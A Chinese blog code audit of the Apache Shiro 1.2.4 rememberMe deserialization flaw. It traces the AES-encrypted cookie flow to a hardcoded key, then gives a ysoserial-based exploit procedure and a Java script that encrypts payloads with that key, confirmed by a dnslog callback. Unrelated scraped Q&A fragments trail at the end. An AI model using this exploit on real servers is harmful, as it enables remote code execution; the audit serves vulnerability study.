- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用.
Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):
(1) 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。 (2) 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”. (3) 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。 (4) 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。 对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多.
(1) 加密流程: 值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式 。
(2) 解密流程 (漏洞产生): payload -> base64解码 -> AES解密 -> 反序列化 (造成反序列化漏洞) 。
首先观察在 CookieRemembaerMeManager.java 中的 rememberSerializedIdentity 方法,它将序列化后的值进行 base64编码后的字符串设置为 cookie 的值:
查看该方法在哪里被调用,跟进查看:
跟进可知 rememberSerializedIdentity方法被 rememberIdentity方法所调用:
跟进查看 rememberIdentity方法:
可以看到在下面 rememberIdentity方法进行了函数重载:
继续跟进重载后的 rememberIdentity方法,可以发现该方法被 onSuccessfulLoogin方法调用:
总体逻辑即为,登录成功后,会调用 AbstractRememberManager.onSuccessfulLogin方法,生成加密的 rememberMe=cookie值,然后将这个生成的 cookie值 设置为用户的cookie值.
接着 在 if(isRememberMe(token))代码处打赏断点:
运行代码,进入Web端,输入默认口令,选中 "记住我" 即 rememberMe 选项,提交表单:
回到代码断点位置,可以看到运行至断点处的 token的值:
接下来进行跟进,逐步分析代码,跟进 isRememberMe方法,分析可知,这个方法的作用是判断用户有无勾选 rememberMe 选项,有则返回 true,否则返回 false:
已知我们已经勾选了 rememberMe选项,返回 true,进入下一步调用 rememberIdentity方法:
跟进 rememberIdentity方法,这个方法会首先生成一个 principalColletion对象->principles,principles中保存用户的登录信息:
下一步,调用 rememberIdentity方法,跟进该方法,通过分析代码可知,该方法首先调用 convertPrincipalsToBytes方法对 principles值进行一个序列化的操作:
跟进 convertPrincipalsToBytes方法,可以看到该方法先使用 serialize方法对 principles值进行序列化,然后调用 encrypt方法对序列化后的值进行加密:
跟进 serialize方法,调用setSerializer()中的 serialize方法,继续跟进第二个 serialize方法,第二个serialize方法就是对参数值进行一个正常的序列化操作:
步过 serialize方法,进入 if(getCipherService() != null) 的判断逻辑,跟进 getCipherService方法,通过分析,可以判断其是 aes加密:
跟进 cipherService:
继续跟进,可以发现采用了硬编码的密钥,这也是 shiro(1.2.4)反序列化漏洞产生的关键条件之一 。
可以继续跟进,获取到该硬编码密钥,通过该密钥,攻击者可以对 payloads进行构造,是 shiro(1.2.4)反序列化漏洞产生的关键条件之一 。
继续步过,进入 encrpt方法的加密逻辑:
跟进 encrypt方法,该方法先获取 principles被序列化后的值,然后对该值使用 cipherService.encrypt方法进行加密:
跟进 cipherService.encrypt方法,该方法中,使用硬编码的key,iv向量进行了很经典的 AES加密:
通过以上逻辑总结可得,convertPrinciplesToBytes方法就是先对 principles值先进行了 序列化操作,然后对序列化后的值进行了 AES加密,但是 AES加密采用了固定的硬编码Key导致可逆,会被恶意利用.
步过 convertPrinciplesToBytes方法,进入 rememberSerializedIndentity方法的逻辑:
跟进 rememberSerializedIdentity方法,就是先对 序列化和加密后的值进行base64编码,并将编码后的值设置为用户的cookie值:
综上所述,加密流程即为: principles值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式 。
有加密方法 encrypt,对应的也有解密方法,如下所示:
向上层查看跟进 decrypt在哪里被调用:
decrypt方法在 convertBytesToPrinciples方法中被调用,继续向上跟进 convertBytesToPrinciples方法在哪里被调用:
如上图所示下断点,跟进查看 getRememberSerializedIdentity方法,发现 getRememberSerializedIdentity方法中会获取 请求包中的cookie的值并进行base64解密,这个获取到的cookie的值对于攻击者来说是可控的:
步过进入 convertBytesToPrinciples方法:
该方法首先使用 decrypt方法对 传入参数使用固定的硬编码Key进行aes解密操作:
接着调用 deserialize方法对aes解密后的值进行反序列化,跟进deserialize方法:
继续跟进getSerializer().deserialize方法,发现 deserialize方法被进行了重写:
继续跟进分析重写后的方法,使用了 readObject方法,导致了反序列化漏洞的产生:
解密流程与漏洞产生的基本逻辑如下: 获取请求包中的cookie值 -> base64解码 -> aes解密 -> 反序列化 。
但是由于请求包中的cookie值可控 以及 aes加密采用的是硬编码固定Key,导致攻击流程如下: 攻击者构造payload命令 -> 手动序列化 -> 使用固定硬编码Key进行手动加密 -> 手动base64加密 -> 构造出完整的payload命令 -> 在请求包Cookie中构造 rememberMe=payload字段进行send发包 -> getRememberSerializedIdentity方法获取cookie值 -> base64解码 -> aes解密 -> 反序列化 -> readObject()函数导致产生反序列化漏洞.
(一) dnslog
(二) ysoserial
(三) 加密脚本
首先使用 ysoserial工具构造 java反序列化攻击payload:
使用脚本对payload进行加密操作:
package org.XxxX.shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class ShiroRememberMeGenPayload {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:/Users/lenovo/Desktop/代码审计/ysoserial-master/payload/payload.txt"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); //硬编码固定Key值
ByteSource ciphertext = aes.encrypt(payloads, key);
BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
out.write(ciphertext.toString());
out.close();
System.out.printf("OK");
}
}
运行代码生成 payload.txt:
复制 payload值将其构造为 rememberMe=payload 添加至 Cookie字段,然后放包:
dnslog回显,即可证明漏洞存在:
最后此篇关于Apache-Shiro<=1.2.4反序列化漏洞(代码审计)的文章就讲到这里了,如果你想了解更多关于Apache-Shiro<=1.2.4反序列化漏洞(代码审计)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我是 python 的新手。我试图找到我的文本的频率分布。这是代码, import nltk nltk.download() import os os.getcwd() text_file=open(
我对安卓 fragment 感到困惑。我知道内存 fragment 但无法理解什么是 android fragment 问题。虽然我发现很多定义,比如 Android fragmentation re
尝试对 WordPress 进行 dockerise 我发现了这个场景: 2个数据卷容器,一个用于数据库(bbdd),另一个用于wordpress文件(wordpress): sudo docker
这个问题已经有答案了: From the server is there a way to know that my page is being loaded in an Iframe (1 个回答)
我正在玩小型服务器,试图对运行在其上的服务进行docker化。为简化起见,假设我必须主要处理:Wordpress和另一项服务。 在Docker集线器上有许多用于Wordpress的图像,但是它们似乎都
我想要发生的是,当帐户成功创建后,提交的表单应该消失,并且应该出现一条消息(取决于注册的状态)。 如果成功,他们应该会看到一个简单的“谢谢。请检查您的电子邮件。” 如果不是,那么他们应该会看到一条适当
就是这样,我需要为客户添加一个唯一标识符。通过 strip 元数据。这就是我现在完全构建它的方式,但是我只有最后一部分告诉我用户购买了哪个包。 我试着看这里: Plans to stripe 代码在这
我有一个类将执行一些复杂的操作,涉及像这样的一些计算: public class ComplexAction { public void someAction(String parameter
这个问题已经有答案了: maven add a local classes directory to module's classpath (1 个回答) 已关闭10 年前。 我有一些不应更改的旧 E
我使用 fragment 已经有一段时间了,但我经常遇到一个让我烦恼的问题。 fragment 有时会相互吸引。现在,我设法为此隔离了一个用例,它是这样的: Add fragment A(也使用 ad
我的 html 中有一个 ol 列表,上面有行条纹。看起来行条纹是从数字后面开始的。有没有办法让行条纹从数字开始? 我已经包含了正在发生的事情的片段 h4:nth-child(even) {
如何仅使用 css 将附加图像 html 化? 如果用纯 css 做不到,那我怎么能至少用一个图像来做 最佳答案 这不是真正的问题,而是您希望我们为您编写代码。我建议您搜索“css breadcrum
以下是 Joshua 的 Effective Java 的摘录: If you do synchronize your class internally, you can use various te
在这里工作时,我们有一个框向业务合作伙伴提供 XML 提要。对我们的提要的请求是通过指定查询字符串参数和值来定制的。其中一些参数是必需的,但很多不是。 例如,我们要求所有请求都指定一个 GUID 来标
我有 3 个缓冲区,其中包含在 32 位处理器上运行的 R、G、B 位数据。 我需要按以下方式组合三个字节: R[0] = 0b r1r2r3r4r5r6r7r8 G[0] = 0b g1g2g3g4
我最近发现了关于如何使用 History.js、jQuery 和 ScrollTo 通过 HTML5 History API 对网站进行 Ajax 化的要点:https://github.com/br
我们有一个 Spring Boot 应用程序,由于集成需要,它变得越来越复杂——比如在你这样做之后发送一封电子邮件,或者在你之后广播一条 jms 消息等等。在寻找一些更高级别的抽象时,我遇到了 apa
我正在尝试首次实施Google Pay。我面临如何指定gateway和gatewayMarchantId的挑战。 我所拥有的是google console帐户,不知道在哪里可以找到此信息。 priva
昨天下午 3 点左右,我为两个想要从一个 Azure 帐户转移到另一个帐户的网站设置了 awverify 记录。到当天结束时,Azure 仍然不允许我添加域,所以我赌了一把,将域和 www 子域重新指
我正在使用terms facet在elasticsearch服务器中获取顶级terms。现在,我的标签"indian-government"不被视为一个标签。将其视为"indian" "governm
我是一名优秀的程序员,十分优秀!